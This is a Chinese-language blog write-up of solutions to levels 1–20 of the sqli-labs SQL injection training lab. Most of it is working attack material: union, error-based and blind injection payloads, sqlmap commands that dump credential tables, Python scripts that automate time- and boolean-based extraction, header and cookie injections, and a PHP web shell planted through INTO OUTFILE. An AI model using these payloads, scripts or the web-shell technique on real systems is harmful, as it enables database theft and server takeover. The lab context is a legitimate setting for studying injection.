sql-labs page1 (1~20)解题过程记录
目錄
Less1:(基于錯誤的GET單引號字符型注入)
less 2:(GET型整型注入)
less 3:(基于錯誤的GET單引號變形字符型注入)
less 4:(基于錯誤的GET雙引號字符型注入)
less 5:?(雙注入GET單引號字符型注入)?
less 6:(雙注入GET雙引號字符型注入)?
less 7:(導出文件GET字符型注入)
less 8:(布爾型單引號GET盲注)
less 9:(基于時間的GET單引號盲注)
less 10:(基于時間的雙引號盲注)
?less 11:?(基于錯誤的POST型單引號字符型注入)
less 12 :(基于錯誤的雙引號POST型字符型變形的注入)
less -13(POST單引號變形雙注入)
less-14 ((POST單引號變形雙注入))
less-15?(基于bool型/時間延遲單引號POST型盲注)
less-16(基于bool型/時間延遲的雙引號POST型盲注)(還有個單括號)
less-17(基于錯誤的更新查詢POST注入)
less -18??(基于錯誤的用戶代理,頭部POST注入)
less-19??(基于頭部的Referer POST報錯注入)
?
Less1:(基于錯誤的GET單引號字符型注入)
解題思路:
方法一,union 聯合查詢注入
1,首先判斷是否存在注入 / ?id=1'? ? ?回顯錯誤,去掉 ' 發現回顯正常,發現是單引號字符型注入
注意此時因為前面報錯可以看到有limit 0,1我們可以知道此處如果需要輸出我們union查詢出的信息要將前面的位占了,即使前面的輸出為不存在。可以看到我是將id的值寫為負值,然后將輸出的位置就讓給了后面我們需要輸出的信息,這個技巧在有輸出限制的時候十分重要。
2,然后用 order by 判斷有幾列數據
/ ?id = 1' order by 3 %23? ?回顯正常,order by 4 的時候發現回顯錯誤,說明有3 列
我們上面猜測出了字段數為3,但這里輸出的只有2個,所以我們union查詢要保證字段數一樣,不足的補數字(只有mysql可以),或者null。然后第一個是沒有輸出的,所以我將需要輸出的寫在了后面兩個。
3,將id=1改為一個數據庫不存在的id值,如-1,使用union select 1,2,3聯合查詢語句查看頁面是否有顯示位。
發現頁面先輸出了2和3,說明頁面有2個顯示位
4,然后利用sql查詢語句依次爆破出數據庫內的數據庫名,表名,列名,字段信息
(1) 爆數據庫名:
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23上面的爆出全部的數據庫名,下面的爆當前的數據庫名:
?id=-1' union select 1,2,database() %23(2) 爆表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23(3)爆字段:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+(4)爆內容:
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+0x3a 代表十六進制的? ‘ : ’
方法二:手動報錯注入
通過報錯回顯查詢信息
1,爆數據庫名:
?id=1' and extractvalue(1,concat(0x7e,(database()))) --+2,爆表:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+3,4,直接將 extractvalue(1,concat(0x7e,(……)? )? )? ?內的內容修改即可。或者用 updatexml(1,concat(0x7e,(……),1)
less 2:(GET型整型注入)
1,查看源代碼發現id 直接是整型? ?且沒有 單引號進行閉合
將 id =1 '改為 id =1? ?其他的? 不變? 按照less 1? 的方法進行爆庫
?
less 3:(基于錯誤的GET單引號變形字符型注入)
1,輸入 id=1 正常,輸入id=1'? #? 回顯錯誤 ,根據報錯信息確定咱們輸入的內容存放到一對單引號加圓括號中了,猜想一下咱們輸入1在數據庫語句中的位置,形如select ... from ... where id=(‘1’) ...,在第一題中id=1‘的后面單引號加上),其它保持不變就行了
?
less 4:(基于錯誤的GET雙引號字符型注入)
1,輸入 id =1 回顯正常? ?輸入 id =1' 回顯正常? ?輸入 id = 1"? 回顯錯誤? ? 說明是 雙引號閉合型
輸入 id = 1" %23 回顯錯誤? ?說明還有一個 單括號閉合?
輸入 id = 1")? …… 其他不變
?
less 5:?(雙注入GET單引號字符型注入)?
1,只會顯示個 You are in……? 或者語法錯誤,
輸入 id=1 顯示 You are in……? ? ? 輸入 id = 2334? 無回顯,說明沒有回顯位,無法使用聯合查詢
方法一,使用sqlmap 自動注入:
sqlmap 盲注操作:
檢測
python sqlmap.py -u "URL ? id=1"爆數據庫名:
python sqlmap.py -u "URL ?id=1" --dbs爆表名:
python sqlmap.py -u "URL ? id=1" -D dataname --tables爆字段:
python sqlmap.py -u "URL ? id=1" -D dataname -T table_name --columns爆內容:
python sqlmap.py -u "URL ? id=1" -D dataname -T table_name -C "id,user,password" --dump方法二,報錯注入:
?
extractvalue(1,group_concat(0x7E,(……)))報錯:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where%20 table_schema = database()))) --+?
updatexml(1,concat(0x7E,(……)),1)報錯注入:(最多回顯32位 所以需要在payload中加入 limit 限制 來一行一行輸出)(所以不建議使用使用這種報錯)
?id=-1' and updatexml(1,concat(0x7E,(payload limit 0,1)),1)--+方法三 用floor報錯注入:
輸入:
?
因為floor最多回顯64位字符,所以我們需要放棄group_concat函數,而使用limit 0,1來一個個輸出
group_concat()函數的作用:將返回信息拼接成一行顯示
limit 0,1??表示輸出第一個數據。???0表示輸出的起始位置,1表示跨度為1(即輸出幾個數據,1表示輸出一個,2就表示輸出兩個)
?
COUNT(*)函數返回由SELECT語句返回的結果集中的行數
floor 報錯的具體用法
例如:查詢數據庫版本:(這里需要不斷改變 limit? 來換行)
?id=-1' union select count(*),1, concat('~',(version()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+爆用戶:
?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+爆庫:
?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+爆表:(這里需要不斷改變 limit? 來換行)
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+爆字段:(這里需要不斷改變 limit? 來換行)
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+爆內容:(這里需要不斷改變 limit? 來換行)
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+由于只允許輸出一行,所以 用 limit 1,1 ,修改值進行深入查詢
?
方法四:時間延遲型手工注入
時間延遲型手工注入,正確會延遲,錯誤沒有延遲。id無所謂,又不看回顯,可以通過瀏覽器的刷新提示觀察延遲情況,但是id正確的時候的回顯有利于觀察。
1,爆庫長:
?id=1' and if(length(database())=8,sleep(5),1)--+2,爆庫名:(一個字符一個字符爆)
?id=1' and if(left(database(),1)='s',sleep(5),1)--+3,爆表名:
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--4,首先嘗試定向爆破,以提高手工注入速度,修改limit x,1 中的x查詢password是否存在表中,lucky的是limit 3,1的時候查到了password列,同樣的方法查詢username
這種方法極其麻煩,不適合使用,僅供參考
可以寫一個基于時延的pyhton腳本 具體參照less9
?
?
?
less 6:(雙注入GET雙引號字符型注入)?
1,只用將less 5 中的單引號改為 雙引號即可
?
less 7:(導出文件GET字符型注入)
1,補充:
@@basedir :mysql安裝路徑
@@datadir :數據庫路徑
load_file(file_name):讀取文件并返回該文件的內容作為一個字符串
使用條件:必須有權限讀取并且文件可讀,必須指定文件完整的路徑
2,由于我不是在本地搭載的環境,所以知道具體的數據存放路徑,需要去獲取絕對路徑,
前面知道 本題是 單引號 加雙括號 的閉合方式:
? id=-1')) union select 1,2,@@datadir --+獲取不了 路徑
于是去前面的簡單的題找個路徑:
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+得到路經:
進行文件導入:(這里要用 \\ )
?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "http://43.247.91.228:84\\var\\lib\\mysql\\www\\123.php"--+需要注意的是:利用數據庫file權限向操作系統寫入文件時,?對于相同文件名的文件不能覆蓋,所以如果第一次上傳chao.php,下次在上傳chao.php,就是無效命令了,也就是新的chao,php中的內容并不會覆蓋,之前的chao.php
然后用菜刀進行連接
?
less 8:(布爾型單引號GET盲注)
1,補充:
(1)盲注分為兩類:
1.布爾盲注 布爾很明顯Ture跟Fales,也就是說它只會根據 你的注入信息返回Ture跟Fales,也就沒有了之前的報錯信息。
2.時間盲注 界面返回值只有一種,true 無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。
(2)
--batch? : 讓sqlmap自動輸入
--dbms mysql? ? ?:指定數據庫系統為mysql繞過sqlmap的自動檢測
-v 顯示 等級(0-6)
方法一 :用sqlmap 按部就班的 來,最后一步的payload 為:
sqlmap.py -u "http://43.247.91.228:84/Less-8/?id=2" --dbms mysql --batch -v 1 --dump -D security -T users -C "id,password,username"方法二: 用腳本進行 盲注?
具體操作 參考??https://blog.csdn.net/wy_97/article/details/78169623? 的詳細操作
?
less 9:(基于時間的GET單引號盲注)
1,補充:時間盲注 界面返回值只有一種,true 無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。
2,手工注入實在是太麻煩,將手工注入整理一下寫出一個腳本 讓機器去注入
代碼如下:
import requests value ="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@_.-" data="" url = "http://43.247.91.228:84/Less-9/?id=1' and if((ascii(substr(({0} limit 3,1),{1},1)) = '{2}'),sleep(3),NULL); %23" url_length="http://43.247.91.228:84/Less-9/?id=1' and if((length(({0} limit 3,1))={1} ),sleep(3),NULL); %23" def get_length(payload):for n in range(1,100):url= url_length.format(payload,n)print(url)if(get_respone(url)):print("[+] length is {0}".format(n))return n def get_data(payload,value,length):for n in range(1,length):for v in value :url_data = url.format(payload,n,ord(v))print(url_data)if(get_respone(url_data)):global datadata=data+vprint("[+] data is {0}".format(data))break def get_respone(url):try:html = requests.get(url,timeout=2)return Falseexcept Exception as e:print("......")return True databse_payload ="select table_name from information_schema.tables where table_schema = database()" get_data(databse_payload,value,get_length(databse_payload)+1)這個腳本你每次只能查詢 一個內容,
需要不斷改變? 4,5,行中 limit x,1 的 x 的數字去查詢,
也需要改變? database_payload 去查詢不同的信息
?
less 10:(基于時間的雙引號盲注)
1,只用將第9題中的單引號改為雙引號,其他用腳本注入就好
注意,在腳本的第 4,5中的所有的單引號都改為雙引號
?
?
sqlmap post類型注入方法:
方法一:(“-r? txt ”方式注入)
1,先用burp suite 抓包,保存為1.txt文件放在桌面上
2,打開sqlmap
查詢數據庫名:
python sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --dbs注:-r表示加載一個文件,-p指定參數
之后對應選擇輸入 : Y? ? ? ?N? ? ? ? ?Y
得到:
之后查表:
python2 sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --D skctf_flag --tables查字段:
python2 sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --D database_name -T table_name --columns查內容:
python2 sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --D database_name -T table_name -C column_name --dump?less 11:?(基于錯誤的POST型單引號字符型注入)
方法一:用 burp suite 攔截后進行聯合查詢 :
方法二: 報錯型 :extractvalue()
一 在burp suite 中加入報錯語句:
查表:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit# 不加后邊的 and ....只能查詢到前幾個表,加上not in ()就可以查到其他表了查字段:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit查內容: 0x3a 表示十六進制的 “ :”
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit# 加 not in ()二 直接在表單中直接輸入:(題中的表單輸入的字符有長度限制)
username: admin ' and 1= (報錯語句) # password: admin ' and 1 = (報錯語句) ##試過都有回顯 #報錯語句有很多種 這里用 extractvalue() 例如:extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))或者:usernae: admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))# password: admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#方法三:直接用 sqlmap 自動注入:(必須在python 2 環境下)
python2 sqlmap.py -u "http://43.247.91.228:84/Less-11/" --data "uname=11111 &passwd=111111 &submit=Submit" --dbs --threads 10 --batch --method="POST"# --data 后面直接跟數據 # --threads 10 線程數,線程越多注入越快,一般不超過10 # --batch 自動使用默認行為,注入過程中不再詢問 # -- method 指定類型,可以不寫?
less 12 :(基于錯誤的雙引號POST型字符型變形的注入)
方法一: sqlmap 自動注入:
playload 跟less 11 的一樣
方法二:把單引號單純換成雙引號 測試不行:
查看代碼:
可以看到sql查詢語句:
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
構造一個能閉合語句而且會報錯的payload:
?
前閉合,中間查詢,后面報錯,應該是這樣沒錯了,實際測試沒問題
或者:? 從代碼中看到是有一個單括號閉合,那用單括號閉合的報錯語句應該也行!實測也沒問題:
username: "and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) )##前面雙引號閉合,后面接單引號閉合報錯方法三:用聯合查詢語句: 只不過用 雙引號 和 單括號閉合 : 不再贅述
1") union select 1,database() #其實也可以構造萬能密碼: admin") #
?
對比less 11和less 12 可以發現:
less 11 (單引號號型注入): 當輸入 a'? ?和 a? 會報錯: 當輸入 a" 或a? ? 和? ?a? 時不會報錯
less 12 (雙引號型注入): 當輸入 a"? ?和 a 會報錯? :當輸入 a'? 或 a? ?和 a 時不會報錯
?
對比兩題? 可以不用看源代碼就能得出 less? 一定是在查詢語句中 加入了 括號,導致需要用 雙引號和括號閉合
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
less -13(POST單引號變形雙注入)
and 1= extractvalue(1,concat(0x7e,(database()))) #
and 1=?extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) #
union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #
1,輸入admin? 和admin 沒有回顯 , 說明沒有回顯位 ,所以不可以用? 聯合查詢注入,那用 報錯注入
2,輸入 admin'? 和 admin'? 回顯:
可以的得出 是 單引號 +單括號的閉合形式
ok 上報錯注入的payload:
?
但發現有問題,查詢語句被截斷了,應該是表單有字符長度限制
那就用 burp suit 唄,
?
接著查詢 column? 再進行脫庫,
當然也可以用sqlmap 直接注入,實際沒問題
python2 sqlmap.py -u "http://43.247.91.228:84/Less-13/" --data "uname=11111 &passwd=111111 &submit=Submit" --dbs --threads 10 --batch --method="POST"當然 用 延時注入和布爾注入也行
?
less-14 ((POST單引號變形雙注入))
1,輸入admin 和admin? ? 還是沒回顯,跟上題一樣? ? admin'? 和 admin'? 也沒回顯
2,輸入admin" 和admin" 有報錯:
發現是 雙引號 閉合的語句
那還用報錯注入,把上題的 閉合方式改一下 成功注入!
less-15?(基于bool型/時間延遲單引號POST型盲注)
1,輸入 admin 和admin 能進入 但沒回顯
2,輸入 admin' 和 admne'? ? ?admin"? ? admin"? 都沒回顯 嗯……
3,輸入 admin' 1=1 #? 能進入,但沒回顯,那只能用 布爾或者延時型注入了:
手工注入是不可能的,一個字符一個字符試恐怕要 弄到猴年馬月了,直接上Python腳本:(兩個腳本經過實測沒有問題)
延時型
//延時型注入import requests import time value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!" result=""def get_length():#獲取數據的長度for n in range(1, 100):payload = "admin' and if((length(({0} limit 1,1))={1}),sleep(4),1) #".format(data_payload, n)data = {"uname": payload, "passwd": "admin", "submit": "submit"}start_time = time.time()html = requests.post(url, data=data)end_time = time.time()use_time = end_time - start_time #求出請求前后的時間差來判斷是否延時了if use_time > 3:print("...... data's length is :"+ str(n))return ndef get_data(length):#獲取數據global resultfor n in range(1,length):for v in value:payload = "admin' and if((ascii(substr(({0} limit 1,1),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload,n,ord(v))data = {"uname":payload,"passwd":"admin","submit":"submit"}start_time = time.time()requests.post(url,data=data)end_time = time.time()use_time = end_time - start_time# 為啥把sleep時間設這么長呢?原因是我這里時常會出現網絡波動,有時候請求時間就有2秒多,為避免出現亂碼,所以設長一點可以保證信息的準確性if use_time >4:result += vprint("......"+result)url = "http://43.247.91.228:84/Less-15/"data_payload ="select database()"length = get_length() + 1 #注意這里要長度加 1 因為 range(1,10)的范圍是 1<= x <10 get_data(length) print(".....data is :"+ result)布爾型
import requestschars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~" result = ""def get_length(value): #獲取要查詢的數據的長度for n in range(1,100):payload = "admin' and length(({0})) ={1} #".format(data_payload,n)data = {"uname":payload,"passwd":"admin"}html = requests.post(url,data=data)length = len(html.text)if length >value:print("……data length is :" + str(n))return ndef get_data(data_length,value): #獲取數據global resultfor i in range(1,data_length):for char in chars:payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))data = {"uname":payload,"passwd":"admin"}html = requests.post(url,data=data)length = len(html.text)if length>value: #根據返回長度的不同來判斷字符正確與否result += charprint("…… data is :"+ result)breakurl = "http://43.247.91.228:84/Less-15/" data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()" value = 1460 # 根據正確訪問和錯誤訪問時返回頁面文本長度的不同 來設置一個判斷值,這個值需要在瀏覽器中 按f12 查看length = get_length(value) +1 get_data(length,value) print(result)less-16(基于bool型/時間延遲的雙引號POST型盲注)(還有個單括號)
1,輸入 admin 和admin 能進入 但沒回顯
2,輸入 admin' 和 admne'? ? ?admin"? ? admin"? 都沒回顯 嗯……
3,輸入 admin") 1=1 #? 能進入,但沒回顯,那只能用 布爾或者延時型注入了:
把less-15 的腳本改一下就可以用了
?
less-17(基于錯誤的更新查詢POST注入)
1,怎么輸入都不對,嗯……,瞅了眼源碼:
2,原來是對 uname 進行了信息的檢查,寫了那么長的代碼,搞了半天為啥不對passwd 也進行一下 信息過濾呢???
信息過濾函數:
只截取15個字符
get_magic_quotes_gpc()
當magic_quotes_gpc=On的時候,函數get_magic_quotes_gpc()就會返回1
當magic_quotes_gpc=Off的時候,函數get_magic_quotes_gpc()就會返回0
magic_quotes_gpc函數在php中的作用是判斷解析用戶提示的數據,如包括有:post、get、cookie過來的數據增加轉義字符“\”,以確保這些數據不會引起程序,特別是數據庫語句因為特殊字符引起的污染而出現致命的錯誤。
在magic_quotes_gpc = On的情況下,如果輸入的數據有
單引號(’)、雙引號(”)、反斜線(\)與 NULL(NULL 字符)等字符都會被加上反斜線。
stripslashes()刪除由 addslashes() 函數添加的反斜杠
ctype_digit()判斷是不是數字,是數字就返回true,否則返回false
mysql_real_escape_string()轉義 SQL 語句中使用的字符串中的特殊字符。
intval()?????整型轉換
3,輸入 admin? 和? admin' and?1= extractvalue(1,concat(0x7e,(database()))) #
ok? 有報錯的信息回顯
4,那就用burp suit 對passwd 進行報錯注入唄:
?
less -18??(基于錯誤的用戶代理,頭部POST注入)
1,輸入admin 和admin,給了user-agent的相關信息
查看了源代碼:發現對username和password都進行了過濾
而且還把 用戶的 ip? 和 user-agent信息存入了數據庫中
ok 那就用 burp suit? 把 user-agent的信息該為報錯注入的payload
脫庫:
?
less-19??(基于頭部的Referer POST報錯注入)
1,輸入 admin 和admin 會回顯:?Your Referer is:……
2,那將丄題中的 user-agent 注入點 改為? ?referer 注入:
less-20??(基于錯誤的cookie頭部POST注入)
1,輸入admin 和admin :發現是這么個玩意:
瞅一眼源碼,發現有cookie的查詢語句:
果斷選擇cookie下手:
在burp-suit中先用order by 語句測一下有幾行,
Cookie: uname=admin' order by 3--+ //1-3 正常 Cookie: uname=admin' order by 4--+ //4 不正常 ,確定行數為3然后就正常的查詢,用報錯,可以,不知道為什么我用聯合查詢,查不出來,用報錯可以
?
?
?
?
21~38題在下一篇博客上,正在努力創建,估計在19.8月15號前后完成
?
?
總結
以上是生活随笔為你收集整理的sql-labs page1 (1~20)解题过程记录的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQL 盲注GET /POST、布尔型,
- 下一篇: sql注入(晨版)